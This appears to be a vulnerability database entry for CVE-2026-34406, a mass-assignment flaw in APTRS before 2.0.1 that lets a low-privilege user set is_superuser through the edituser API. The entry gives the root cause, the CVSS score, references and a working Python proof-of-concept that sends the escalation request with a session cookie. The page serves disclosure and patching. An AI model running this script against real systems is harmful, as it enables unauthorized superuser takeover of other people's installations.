CVE-2026-34406

Description

APTRS (Automated Penetration Testing Reporting System) is a Python and Django-based automated reporting tool designed for penetration testers and security organizations. Prior to version 2.0.1, the edit_user endpoint (POST /api/auth/edituser/<pk>) allows Any user who can reach that endpoint and submit crafted permission to escalate their own account (or any other account) to superuser by including "is_superuser": true in the request body. The root cause is that CustomUserSerializer explicitly includes is_superuser in its fields list but omits it from read_only_fields, making it a writable field. The edit_user view performs no additional validation to prevent non-superusers from modifying this field. Once is_superuser is set to true, gaining unrestricted access to all application functionality without requiring re-authentication. This issue has been patched in version 2.0.1.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:aptrs:aptrs:*:*:*:*:*:python:*:* - VULNERABLE

APTRS < 2.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-ip/api/auth/edituser/{target_user_id}"
attacker_session_cookie = "sessionid_of_low_privilege_user"

# Headers and Cookies
headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0"
}
cookies = {
    "sessionid": attacker_session_cookie
}

# Payload to escalate privileges
payload = {
    "is_superuser": True,
    # Include other fields if required by validator, e.g. username/email
}

try:
    # Send POST request to escalate privileges
    response = requests.post(target_url, json=payload, headers=headers, cookies=cookies)

    if response.status_code == 200:
        print("[+] Privilege escalation successful! User is now superuser.")
    else:
        print(f"[-] Failed. Status Code: {response.status_code}")
        print(f"[-] Response: {response.text}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34406
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34406
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34406/
[4] VulDB https://vuldb.com/cve/CVE-2026-34406
[5] https://github.com/APTRS/APTRS/commit/d1f1b3a5d1953082af8e075712ca29742e900d56
[6] https://github.com/APTRS/APTRS/releases/tag/2.0.1
[7] https://github.com/APTRS/APTRS/security/advisories/GHSA-gv25-wp4h-9c35

Raw JSON Data

JSON

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